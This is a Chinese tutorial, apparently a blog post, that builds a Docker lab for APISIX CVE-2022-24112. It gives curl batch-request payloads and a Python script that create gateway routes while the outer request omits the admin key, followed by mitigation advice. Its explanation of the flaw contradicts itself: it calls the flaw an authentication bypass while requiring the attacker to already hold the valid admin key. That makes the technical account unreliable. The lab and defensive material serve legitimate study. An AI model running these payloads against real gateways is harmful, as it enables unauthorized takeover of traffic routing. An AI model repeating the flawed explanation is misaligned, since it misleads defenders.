一键复现APISIX CVE-2022-24112漏洞:Docker靶场与Python检测脚本详解
1. 项目概述与核心价值
最近在整理一些经典的API网关安全案例,APISIX的CVE-2022-24112这个漏洞总是绕不开。它本质是一个批处理请求绕过认证的漏洞,影响面广,原理也很有意思,非常适合用来学习和理解API网关的安全边界。网上虽然有不少分析文章,但大多是纯理论分析,缺少一个能一键启动、开箱即用的复现环境。对于想动手实践的安全研究员或者刚入门的小伙伴来说,光看文章不实操,总觉得差点意思。
所以,我花了点时间,用Docker Compose封装了一个完整的APISIX 2.12.0靶场环境。这个环境的目标很明确: 让你在几分钟内就能拥有一个包含漏洞版本APISIX、etcd以及配套管理界面的完整沙箱 。你不需要去官网翻找历史版本,也不用操心复杂的依赖和配置,一条命令就能把环境拉起来。更重要的是,我还会附上一个自己写的Python检测脚本,这个脚本不仅能帮你快速验证漏洞是否存在,还包含了详细的请求构造过程,你可以直接看脚本源码来理解攻击链。
无论你是想深入理解这个漏洞的利用条件,还是准备在公司内部做一次API网关的安全培训,或者单纯想在自己的实验环境里“无害地”玩一下,这个靶场都能派上用场。它把环境搭建的琐碎工作全部自动化了,让你能把精力完全集中在漏洞原理分析和利用技巧上。
2. 环境整体设计与一键部署思路
2.1 为什么选择Docker Compose方案?
搭建一个历史版本的软件环境,最头疼的就是依赖和配置。APISIX 2.12.0依赖于etcd 3.4.x版本作为配置中心,手动安装不仅要分别找两个组件的特定版本,还要处理它们之间的网络连通和初始化配置,步骤繁琐且容易出错。
Docker Compose的优势在这里就体现出来了。它允许我们用一份声明式的YAML文件( docker-compose.yml )来定义整个应用栈——包括APISIX、etcd,甚至还可以加上Dashboard。所有服务的版本、端口映射、环境变量、依赖关系和启动顺序都在这个文件里定义清楚。我们只需要执行 docker-compose up -d ,Docker引擎就会自动拉取镜像、创建网络、启动容器,并按照定义好的顺序初始化服务。这相当于把一套复杂的部署手册,浓缩成了一行命令。
对于安全研究而言,这种可重复、可销毁的环境尤为重要。实验做完,一句 docker-compose down 就能清理得干干净净,不会在宿主机留下任何垃圾文件。下次需要时,又能快速重建一个一模一样的环境,保证了实验条件的一致性。
2.2 靶场组件与服务规划
我们的靶场环境由三个核心服务构成,它们通过Docker Compose创建的内部网络进行通信,与宿主机隔离,既安全又方便。
1. Etcd (版本:3.4.16) 这是APISIX的配置存储后端。APISIX的所有路由、插件、消费者等配置信息都保存在这里。我们选择3.4.16是因为它与APISIX 2.12.0兼容性最好。在Compose文件中,我们会将etcd的数据目录挂载到宿主机的一个本地目录(比如 ./etcd-data ),这样即使容器销毁,配置数据也不会丢失,方便下次快速启动。
2. Apache APISIX (版本:2.12.0) 这是我们的“主角”,存在漏洞的API网关本体。它默认会监听两个端口:
9080: 这是APISIX的数据面端口,所有经过网关转发的API流量都通过这个端口进入。9180: 这是APISIX的管理面端口(Admin API),用于创建路由、配置插件等管理操作。 CVE-2022-24112漏洞就出在Admin API的批处理接口上。
在Docker Compose中,我们需要将这两个端口映射到宿主机(例如 9080:9080 , 9180:9180 ),这样我们才能从本地访问。同时,APISIX容器需要能通过内部网络名(如 etcd )访问到etcd服务。
3. APISIX Dashboard (版本:2.10.1) 这是一个可选的Web管理界面,让我们能通过图形化的方式操作APISIX。虽然漏洞利用不依赖Dashboard,但它对于初学者理解APISIX的路由、上游等概念非常有帮助。我们会将其端口(如 9000 )也映射出来。
整个架构的通信关系很简单:Dashboard和我们的攻击脚本,通过宿主机映射的端口访问APISIX的Admin API ( 9180 )。APISIX在启动时,会从etcd读取配置。我们的部署目标,就是让这一套服务能够无缝协作。
注意:在真实漏洞利用场景中,攻击者是从外部访问APISIX的Admin API端口。在我们的靶场里,“外部”就是我们的宿主机。因此,确保
9180端口正确映射且防火墙允许访问是关键。
2.3 Docker Compose文件详解与配置
下面是一个精简但功能完整的 docker-compose.yml 文件内容。我会逐段解释关键配置项的含义和设计理由。
version: '3.8'
services:
etcd:
image: bitnami/etcd:3.4.16
container_name: apisix-etcd
environment:
- ALLOW_NONE_AUTHENTICATION=yes
- ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379
- ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379
volumes:
- ./etcd-data:/bitnami/etcd/data
networks:
- apisix-net
apisix:
image: apache/apisix:2.12.0-alpine
container_name: apisix-gateway
restart: always
volumes:
- ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
ports:
- "9080:9080"
- "9180:9180"
depends_on:
- etcd
networks:
- apisix-net
apisix-dashboard:
image: apache/apisix-dashboard:2.10.1-alpine
container_name: apisix-dashboard
restart: always
environment:
- TZ=Asia/Shanghai
volumes:
- ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml:ro
ports:
- "9000:9000"
depends_on:
- apisix
networks:
- apisix-net
networks:
apisix-net:
driver: bridge
关键配置解析:
- 网络 (
networks) : 我们创建了一个名为apisix-net的桥接网络。所有服务都加入这个网络,它们之间可以使用容器名作为主机名直接通信(如APISIX容器内可以通过http://etcd:2379访问etcd)。这比使用links更现代和灵活。 - Etcd环境变量 :
ALLOW_NONE_AUTHENTICATION=yes: 为了方便实验,我们关闭了etcd的客户端认证。在生产环境中这是极其危险的,但在隔离的靶场环境里可以接受。ETCD_ADVERTISE_CLIENT_URLS: 告知客户端(这里是APISIX)通过什么地址来连接我。这里设置为内部网络地址http://etcd:2379。ETCD_LISTEN_CLIENT_URLS: etcd监听客户端请求的地址。0.0.0.0表示监听所有网络接口。
- APISIX配置挂载 (
volumes) : 我们将宿主机的./apisix_conf/config.yaml文件挂载到容器的配置路径。这样我们可以灵活地修改APISIX的配置,比如调整日志级别、设置默认插件等,而无需重新构建镜像。:ro表示只读挂载,防止容器内进程意外修改我们的配置文件。 - 端口映射 (
ports) :"9180:9180"是将容器内的9180端口映射到宿主机的9180端口。这是 漏洞复现的关键 ,因为我们的攻击脚本将从宿主机向localhost:9180发送请求。 - 依赖关系 (
depends_on) :apisix服务depends_on: - etcd,确保etcd先启动并健康后,APISIX再启动。同样,Dashboard依赖于APISIX。这保证了服务启动的顺序性。
APISIX配置文件 ( ./apisix_conf/config.yaml ) 核心内容:
deployment:
role: traditional
role_traditional:
config_provider: etcd
etcd:
host:
- "http://etcd:2379"
prefix: "/apisix"
apisix:
node_listen: 9080
admin_key:
- name: "admin"
key: edd1c9f034335f136f87ad84b625c8f1 # 默认的管理员密钥,用于Admin API认证
role: admin
这个配置告诉APISIX使用etcd作为配置存储,并设置了一个默认的admin key。 这个key在漏洞利用中扮演重要角色 ,因为漏洞允许攻击者在某些条件下绕过对它的校验。
准备好这两个文件后,在终端进入项目目录,执行 docker-compose up -d ,等待片刻,一个完整的APISIX 2.12.0靶场就运行起来了。你可以通过 docker-compose ps 查看服务状态,通过 docker-compose logs -f apisix 查看APISIX的启动日志,确保没有错误。
3. CVE-2022-24112漏洞原理深度解析
3.1 APISIX Admin API与批处理请求机制
要理解这个漏洞,首先得搞清楚APISIX Admin API是干什么的。简单来说,Admin API是APISIX的管理员后门,通过它,你可以创建路由、配置上游服务、启用或禁用插件等。默认情况下,访问Admin API( /apisix/admin/ 下的所有端点)都需要在请求头中携带一个正确的 X-API-KEY ,其值就是前面配置文件中 admin_key 对应的 key 。这是一种简单的静态Token认证方式。
为了提升管理效率,APISIX的Admin API提供了一个批处理接口,通常是 POST /apisix/admin/batch-requests 。这个接口的设计初衷是:客户端可以将多个管理操作(比如创建路由、更新上游)打包成一个JSON数组,一次性发送给APISIX。网关会按顺序执行这些操作,并返回一个包含每个操作结果的数组。这避免了客户端为每个操作都建立一次HTTP连接的开销,尤其在自动化脚本中非常有用。
一个正常的、经过认证的批处理请求看起来是这样的:
curl http://localhost:9180/apisix/admin/batch-requests \
-H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' \
-H 'Content-Type: application/json' \
-d '[
{
"method": "PUT",
"path": "/apisix/admin/routes/1",
"body": "{\"uri\": \"/test\", \"upstream\": {\"type\": \"roundrobin\", \"nodes\": {\"httpbin.org:80\": 1}}}"
},
{
"method": "GET",
"path": "/apisix/admin/routes"
}
]'
这个请求会在认证通过后,先创建一条路由,然后列出所有路由。
3.2 漏洞成因:请求走私与认证绕过
CVE-2022-24112的核心问题,就出在这个批处理接口对内部请求的处理逻辑上。当APISIX收到一个批处理请求时,它的处理流程大致如下:
- 检查批处理请求本身是否携带了合法的
X-API-KEY(外层认证)。 - 如果认证通过,则开始解析请求体中的JSON数组。
- 对于数组中的每一个子请求对象,APISIX会 在内部模拟一个HTTP请求 ,发送给自身对应的Admin API端点(比如
/apisix/admin/routes)。 - 这里的关键来了:在2.12.0及之前的一些版本中,APISIX在构造这个内部模拟请求时, 错误地复用了原始批处理请求的HTTP头部 ,包括
Host,X-Forwarded-For,以及至关重要的X-API-KEY。
这就产生了一个逻辑漏洞:攻击者可以先发送一个 不带 X-API-KEY 的批处理请求(外层请求未认证)。这个请求按理说应该在第一步就被拒绝。但是,如果攻击者在批处理请求的 子请求 的 path 字段上做手脚,情况就变了。
攻击者可以构造这样一个特殊的批处理请求:
[
{
"method": "GET",
"path": "/apisix/admin/routes",
"headers": {
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1"
}
}
]
虽然外层请求没有 X-API-KEY ,但攻击者在子请求的 headers 里手动添加了一个。由于APISIX错误地将子请求的头部(包括这个伪造的 X-API-KEY )传递给了内部模拟请求,导致内部模拟的 GET /apisix/admin/routes 请求带上了有效的key,从而绕过了认证!
你可以把这个过程想象成“请求走私”:攻击者把一个带有合法凭证的请求,“走私”进了一个未经验证的外层包装里。网关在处理外层包装时疏忽了,直接把里面走私的货物(子请求)当成合法的放行了。
3.3 影响范围与利用条件
这个漏洞的影响是严重的,它允许未授权的攻击者执行任何Admin API允许的操作,包括:
- 创建、修改、删除路由 :可以将任意流量转发到攻击者控制的服务器,进行钓鱼、窃取数据。
- 修改上游配置 :破坏现有服务的正常运行。
- 启用或禁用插件 :例如禁用限流、认证插件,使网关防护失效。
- 直接获取当前所有配置 :信息泄露,为后续攻击提供情报。
利用条件 :
- APISIX版本 :影响Apache APISIX 2.12.0及之前的部分版本。2.12.1版本已修复。
- Admin API可访问 :攻击者需要能够网络访问到APISIX实例的Admin API端口(默认9180)。如果这个端口被错误地暴露在公网,或者在内网中被渗透,风险极高。
- 知晓或可爆破Admin Key :攻击者需要知道有效的
X-API-KEY值。如果管理员使用了默认的key(edd1c9f034335f136f87ad84b625c8f1)或强度很弱的key,风险会剧增。在某些情况下,结合其他信息泄露漏洞,也可能获取到key。
在我们的靶场中,我们故意使用了默认key,并且将9180端口映射出来,完美模拟了最危险的暴露场景,以便于学习和验证。
4. 漏洞复现实操与检测脚本详解
4.1 手工复现:一步步验证漏洞
环境启动后,我们首先验证服务是否正常。访问 http://localhost:9000 应该能看到APISIX Dashboard的登录页(默认账号密码是admin/admin)。登录后能看到空白的仪表盘,这说明APISIX和Dashboard都运行正常。
现在,我们尝试在不提供认证的情况下,通过批处理接口来创建一个路由,验证漏洞。
步骤一:发送未认证的恶意批处理请求 我们使用 curl 命令来手工构造攻击请求。请求的目标是创建一条新的路由,将访问 /evil 的请求转发到 http://httpbin.org/get (一个测试网站)。
curl -v http://localhost:9180/apisix/admin/batch-requests \
-H "Content-Type: application/json" \
-d '[
{
"method": "PUT",
"path": "/apisix/admin/routes/evil-route",
"body": "{\"uri\": \"/evil\", \"upstream\": {\"type\": \"roundrobin\", \"nodes\": {\"httpbin.org:80\": 1}}}",
"headers": {
"X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
"Content-Type": "application/json"
}
}
]'
-v: 显示详细输出,方便我们看到HTTP状态码。- 外层请求:
POST /apisix/admin/batch-requests, 没有X-API-KEY头。 - 请求体:一个JSON数组,里面包含一个子请求。
- 子请求:
method是PUT,path指向创建路由的端点/apisix/admin/routes/evil-route。 body: 是要创建的路由配置JSON字符串。注意,这里的body必须是字符串,所以里面的JSON需要用反斜杠转义引号。headers: 这是关键!我们在子请求的headers里手动添加了正确的X-API-KEY。
步骤二:观察结果 如果漏洞存在且利用成功,你应该会收到一个HTTP 200 OK 或 201 Created 的响应,响应体里包含新创建的路由信息。类似这样:
[
{
"status": 201,
"body": "{\"key\":\"/apisix/routes/evil-route\",\"value\":{\"uri\":\"/evil\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}},\"id\":\"evil-route\",\"create_time\":1648888888,\"update_time\":1648888888}}",
"headers": {...}
}
]
步骤三:验证路由创建成功 现在,我们可以通过APISIX的数据面端口9080来访问我们刚刚创建的路由:
curl http://localhost:9080/evil
如果返回了 httpbin.org/get 页面的内容(一个包含了你请求信息的JSON),恭喜你,漏洞复现成功!你刚刚在未授权的情况下,通过API网关创建了一条新的流量转发规则。
你也可以通过Dashboard的“路由”页面,直观地看到这条名为 evil-route 的路由已经被添加进来。这直观地证明了攻击的有效性。
4.2 自动化检测脚本编写与使用
手工复现虽然有助于理解,但效率太低,也不利于批量检测。为此,我编写了一个Python检测脚本 check_cve_2022_24112.py 。这个脚本不仅能快速检测目标是否存在漏洞,还清晰地展示了攻击的每一步。
#!/usr/bin/env python3
"""
CVE-2022-24112 - APISIX Admin API 批处理请求认证绕过漏洞检测脚本
Author: [你的名字]
Usage: python3 check_cve_2022_24112.py -t http://target:9180 -k admin_key
"""
import argparse
import requests
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_vulnerability(target_url, admin_key):
"""
检测目标APISIX是否存在CVE-2022-24112漏洞。
原理:发送一个未认证的批处理请求,在子请求中携带admin key,尝试创建一个测试路由。
"""
batch_url = f"{target_url.rstrip('/')}/apisix/admin/batch-requests"
# 构造恶意批处理请求体
# 我们尝试创建一个临时路由,指向一个无害的测试站点
test_route_id = "cve_test_route_12345"
test_upstream = "httpbin.org:80"
payload = [
{
"method": "PUT",
"path": f"/apisix/admin/routes/{test_route_id}",
"body": json.dumps({
"uri": f"/.well-known/cve-test-{test_route_id}", # 使用一个不太可能冲突的URI
"upstream": {
"type": "roundrobin",
"nodes": {
test_upstream: 1
}
}
}),
"headers": {
"X-API-KEY": admin_key,
"Content-Type": "application/json"
}
}
]
headers = {
"Content-Type": "application/json",
# 注意:外层请求故意不发送 X-API-KEY
}
print(f"[*] 目标: {target_url}")
print(f"[*] 使用的Admin Key: {admin_key}")
print(f"[*] 发送恶意批处理请求...")
print(f"[*] 请求体: {json.dumps(payload, indent=2)}")
try:
resp = requests.post(batch_url, headers=headers, json=payload, verify=False, timeout=15)
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败: {e}")
return False, None
print(f"[*] 响应状态码: {resp.status_code}")
if resp.status_code == 200:
try:
result = resp.json()
print(f"[*] 响应体: {json.dumps(result, indent=2)}")
# 检查响应中是否包含成功的状态码(200或201)
if isinstance(result, list) and len(result) > 0:
sub_req_result = result[0]
if sub_req_result.get('status') in [200, 201]:
print(f"[+] 漏洞可能存在!未授权批处理请求返回成功。")
print(f"[+] 尝试创建的路由ID: {test_route_id}")
# 可选:尝试访问创建的路由来二次验证
verify_url = target_url.replace(':9180', ':9080') + f"/.well-known/cve-test-{test_route_id}"
print(f"[*] 尝试验证路由是否生效: GET {verify_url}")
try:
verify_resp = requests.get(verify_url, verify=False, timeout=10)
if verify_resp.status_code == 200:
print(f"[+] 验证成功!路由已创建并可访问。")
return True, test_route_id
else:
print(f"[*] 路由创建API成功,但访问验证失败(状态码{verify_resp.status_code})。可能数据面未同步或配置有误。")
return True, test_route_id # 仍然认为漏洞存在
except:
print(f"[*] 路由验证请求失败,但批处理API已成功响应。")
return True, test_route_id
else:
print(f"[-] 子请求执行失败。状态: {sub_req_result.get('status')}, 响应: {sub_req_result.get('body')}")
return False, None
except json.JSONDecodeError:
print(f"[-] 响应不是有效的JSON: {resp.text[:200]}")
return False, None
elif resp.status_code == 401:
print(f"[-] 外层请求被认证拦截 (401)。目标可能已修复漏洞或配置了更强的认证。")
return False, None
else:
print(f"[-] 请求返回意外状态码: {resp.status_code}")
print(f"[-] 响应内容: {resp.text[:500]}")
return False, None
return False, None
def cleanup_if_needed(target_url, admin_key, route_id):
"""尝试清理创建的路由(如果存在且提供了有效key)"""
if not route_id:
return
print(f"\n[*] 尝试清理测试路由: {route_id}")
delete_url = f"{target_url.rstrip('/')}/apisix/admin/routes/{route_id}"
headers = {"X-API-KEY": admin_key}
try:
del_resp = requests.delete(delete_url, headers=headers, verify=False, timeout=10)
if del_resp.status_code in [200, 204, 404]:
print(f"[+] 路由清理成功。")
else:
print(f"[-] 路由清理失败,状态码: {del_resp.status_code}")
except Exception as e:
print(f"[-] 清理请求失败: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2022-24112 APISIX漏洞检测工具')
parser.add_argument('-t', '--target', required=True, help='APISIX Admin API地址 (e.g., http://127.0.0.1:9180)')
parser.add_argument('-k', '--key', default='edd1c9f034335f136f87ad84b625c8f1', help='APISIX Admin Key (默认使用常见默认key)')
parser.add_argument('--no-cleanup', action='store_true', help='检测后不自动清理测试路由')
args = parser.parse_args()
is_vuln, created_route_id = check_vulnerability(args.target, args.key)
if not args.no_cleanup and created_route_id:
cleanup_if_needed(args.target, args.key, created_route_id)
sys.exit(0 if is_vuln else 1)
脚本使用与解析:
-
运行脚本 :
# 检测本地靶场 python3 check_cve_2022_24112.py -t http://localhost:9180 # 指定自定义的admin key python3 check_cve_2022_24112.py -t http://192.168.1.100:9180 -k your_admin_key_here # 检测后不清理测试路由(用于进一步手动分析) python3 check_cve_2022_24112.py -t http://localhost:9180 --no-cleanup -
脚本逻辑详解 :
- 构造请求 :脚本的核心是
check_vulnerability函数。它构造了一个与手工复现步骤一模一样的恶意批处理请求。外层请求头 故意不包含X-API-KEY。 - 子请求注入 :在子请求的
headers字段中,插入了用户提供的(或默认的)admin_key。 - 结果判断 :如果外层请求返回200,并且子请求的执行状态是200或201,则初步判断漏洞存在。
- 二次验证 :脚本会尝试访问它创建的那个特殊路由(URI包含随机字符串,避免冲突),如果也能访问成功,则双重确认漏洞利用成功。
- 自动清理 :默认情况下,脚本检测完成后会尝试删除创建的测试路由,避免污染环境。使用
--no-cleanup参数可以保留路由供检查。
- 构造请求 :脚本的核心是
-
脚本的实用价值 :
- 快速检测 :只需一个命令,即可对目标进行检测,输出明确。
- 学习工具 :通过阅读脚本,可以清晰地看到整个攻击载荷(Payload)的构造过程,比看文字描述更直观。
- 批量扫描基础 :你可以以此脚本为蓝本,改造后集成到自己的自动化扫描工具中。
重要提示:此脚本仅用于授权下的安全测试和教育目的。切勿用于测试未经授权的系统。
5. 漏洞修复方案与安全加固建议
5.1 官方修复方案分析
Apache APISIX官方在2.12.1版本中修复了此漏洞。修复的核心思路非常清晰: 在处理批处理请求的子请求时,不再盲目信任或复用外层请求的头部,而是对内部模拟请求的头部进行显式地、安全地构造。
具体来说,修复代码确保了:
- 当处理批处理请求中的子请求时,用于内部转发(或模拟)的HTTP请求,其头部信息是独立生成的。
- 特别是
X-API-KEY这类认证头,必须来自于批处理请求 外层 的合法认证,而不能被子请求中的headers字段覆盖或注入。 - 换句话说,批处理接口作为一个整体,必须先通过认证,才有权执行内部操作。子请求中携带的认证头将被忽略。
因此,最直接、最有效的修复方案就是 立即将APISIX升级到2.12.1或更高版本 。对于生产环境,建议升级到最新的稳定版,以获取所有安全补丁和功能改进。
5.2 临时缓解措施与安全配置
如果因为某些原因无法立即升级,可以采取以下临时缓解措施来降低风险:
-
严格限制Admin API的访问 :这是最重要的防线。绝对不要将APISIX的Admin API端口(默认9180)暴露在公网。通过网络安全组、防火墙或反向代理(如Nginx)规则,将其访问权限限制在 仅允许运维管理员IP 或 特定的管理VPC/网络 。理想情况下,Admin API只应在内部管理网络中被访问。
-
修改并强化Admin Key :立即修改默认的
admin_key。在config.yaml中,使用一个高强度、随机生成的字符串替换edd1c9f034335f136f87ad84b625c8f1。可以借助密码生成器生成。同时,可以考虑配置多个不同权限的key,遵循最小权限原则。apisix: admin_key: - name: "admin" key: 你的_高强度_随机_字符串_这里 role: admin - name: "viewer" key: 另一个_只读_权限的key role: viewer -
启用更严格的认证 :APISIX支持与多种身份提供商(如LDAP、JWT、Keycloak等)集成。考虑为Admin API启用除静态Key之外的多因素认证,或者通过前置的认证代理(如OAuth2 Proxy)来保护管理接口。
-
禁用或严格审计批处理接口 :如果业务上不需要使用批处理功能,可以考虑通过自定义插件或修改配置,直接禁用
POST /apisix/admin/batch-requests这个端点。或者,对该端点的访问日志进行严格监控和审计,对异常的、高频的批处理请求设置告警。 -
使用安全的部署模式 :考虑将APISIX的配置管理与数据面分离。使用
control API模式,通过独立的控制面(如APISIX Dashboard)来管理配置,而控制面本身受到更严格的安全保护。这样即使数据面(9080端口)暴露,攻击者也无法直接访问到配置管理接口。
5.3 安全开发与运维启示
CVE-2022-24112给我们的启示超越了APISIX本身,适用于所有API网关和中间件的开发与运维:
- 对内部请求处理保持警惕 :任何涉及“内部请求转发”、“模拟请求”、“批处理”的功能点都是安全审计的重中之重。必须清晰界定内外请求的边界,内部请求的上下文(如认证信息)必须由服务自身安全地生成和传递,绝不能信任用户输入。
- 默认安全原则 :像Admin API这样的高权限接口,应该默认拒绝所有访问,然后通过白名单方式逐步放开。APISIX默认将Admin API监听在
0.0.0.0,这是一个风险点。在可能的情况下,应将其绑定在127.0.0.1或内部网络接口上。 - 纵深防御 :不要依赖单一的安全机制。结合网络隔离、强认证、权限最小化、日志审计和实时监控,构建多层防御体系。即使某一层被绕过,其他层仍能提供保护。
- 定期安全评估与更新 :将API网关纳入常规的安全扫描和渗透测试范围。及时关注官方安全公告,建立快速的补丁应用流程。对于开源组件,可以订阅其安全邮件列表或使用软件成分分析(SCA)工具进行监控。
6. 靶场环境进阶玩法与问题排查
6.1 靶场环境的其他用途
这个一键搭建的靶场环境,除了复现CVE-2022-24112,还可以作为学习APISIX其他功能的绝佳实验平台:
- 学习APISIX核心概念 :你可以在Dashboard上随意创建路由、服务、上游和消费者,配置各种插件(如限流限速、身份认证、流量镜像、故障注入等),并通过9080端口立即测试效果。所有操作都在容器内,完全不用担心影响生产环境。
- 测试其他漏洞或配置错误 :你可以手动将APISIX镜像版本切换到其他存在已知漏洞的版本(修改
docker-compose.yml中的镜像标签),来复现和研究其他安全问题。 - 开发自定义插件 :APISIX支持Lua和Java插件开发。你可以将你的插件代码目录挂载到容器中,在靶场环境里进行调试和测试,无需搭建复杂的Lua或Java开发环境。
- 模拟API流量 :配合像
hey、wrk这样的压测工具,你可以在本地模拟API流量,测试APISIX在不同插件组合下的性能表现和资源消耗。
6.2 常见问题与解决方案实录
在搭建和使用这个靶场的过程中,你可能会遇到以下问题。这里记录了我遇到的一些坑和解决办法:
问题1:执行 docker-compose up -d 后,APISIX容器不断重启,日志显示连接etcd失败。
- 可能原因 :etcd容器尚未完全启动并准备好,APISIX就已经启动并尝试连接,导致连接被拒绝。
- 解决方案 :
- 检查etcd容器日志:
docker-compose logs etcd。确保etcd显示ready to serve client requests。 - 在
docker-compose.yml中为APISIX服务添加健康检查依赖或增加重启延迟。更简单的方法是先单独启动etcd:docker-compose up -d etcd,等待10秒后再启动其他服务:docker-compose up -d。 - 在APISIX的
config.yaml中,可以尝试增加etcd的连接超时时间(如果版本支持相关配置)。
- 检查etcd容器日志:
问题2:攻击脚本检测报告漏洞存在,但无法访问创建的路由( curl localhost:9080/evil 返回404)。
- 可能原因A :APISIX的路由配置没有从etcd同步到数据面。这通常是一个临时状态。
- 排查 :访问Admin API列出所有路由确认:
curl -H ‘X-API-KEY: xxx’ http://localhost:9180/apisix/admin/routes。如果路由存在,等待几秒钟再试,APISIX有毫秒级的配置同步延迟。 - 可能原因B :路由配置的
uri字段匹配有问题。确保你访问的路径完全匹配。例如,如果路由配置的uri是/evil,访问/evil/(多一个斜杠)可能不匹配。 - 排查 :在Dashboard上检查创建的路由详情,确认
uri字段。或者使用curl -v查看详细的请求和响应头。
问题3:Dashboard可以登录,但页面显示“请求失败”或“连接APISIX失败”。
- 可能原因 :Dashboard容器内配置的APISIX地址不正确。Dashboard需要通过内部网络访问APISIX的Admin API。
- 解决方案 :检查挂载的Dashboard配置文件
./dashboard_conf/conf.yaml。确保其中的conf.apisix.host指向的是APISIX服务的内部网络地址和端口。在我们的Compose设置中,应该是http://apisix:9180。conf: apisix: host: http://apisix:9180 # 使用Docker服务名 api_key: edd1c9f034335f136f87ad84b625c8f1
问题4:想用不同的APISIX或etcd版本进行测试。
- 解决方案 :直接修改
docker-compose.yml文件中image标签的版本号即可。例如,将apache/apisix:2.12.0-alpine改为apache/apisix:2.10.0-alpine。但需要注意版本兼容性,APISIX 2.x 通常需要 etcd 3.4.x。修改后,执行docker-compose down -v(-v会删除卷,即etcd数据)然后重新docker-compose up -d来全新启动。
问题5:宿主机端口冲突。
- 症状 :
docker-compose up报错Bind for 0.0.0.0:9180 failed: port is already allocated。 - 解决方案 :要么关闭占用端口的本地进程,要么修改
docker-compose.yml中ports映射的宿主机端口。例如将"9180:9180"改为"19180:9180",之后访问地址就变为http://localhost:19180。记得同步修改检测脚本中的目标地址。
这个靶场环境就像是一个安全的沙盒,让你可以无顾虑地探索、测试和破坏。理解漏洞最好的方式就是亲手触发它,观察它的行为,然后思考如何防御。希望这个详细的手把手教程和现成的环境,能帮你更深入地掌握API网关安全。
所有评论(0)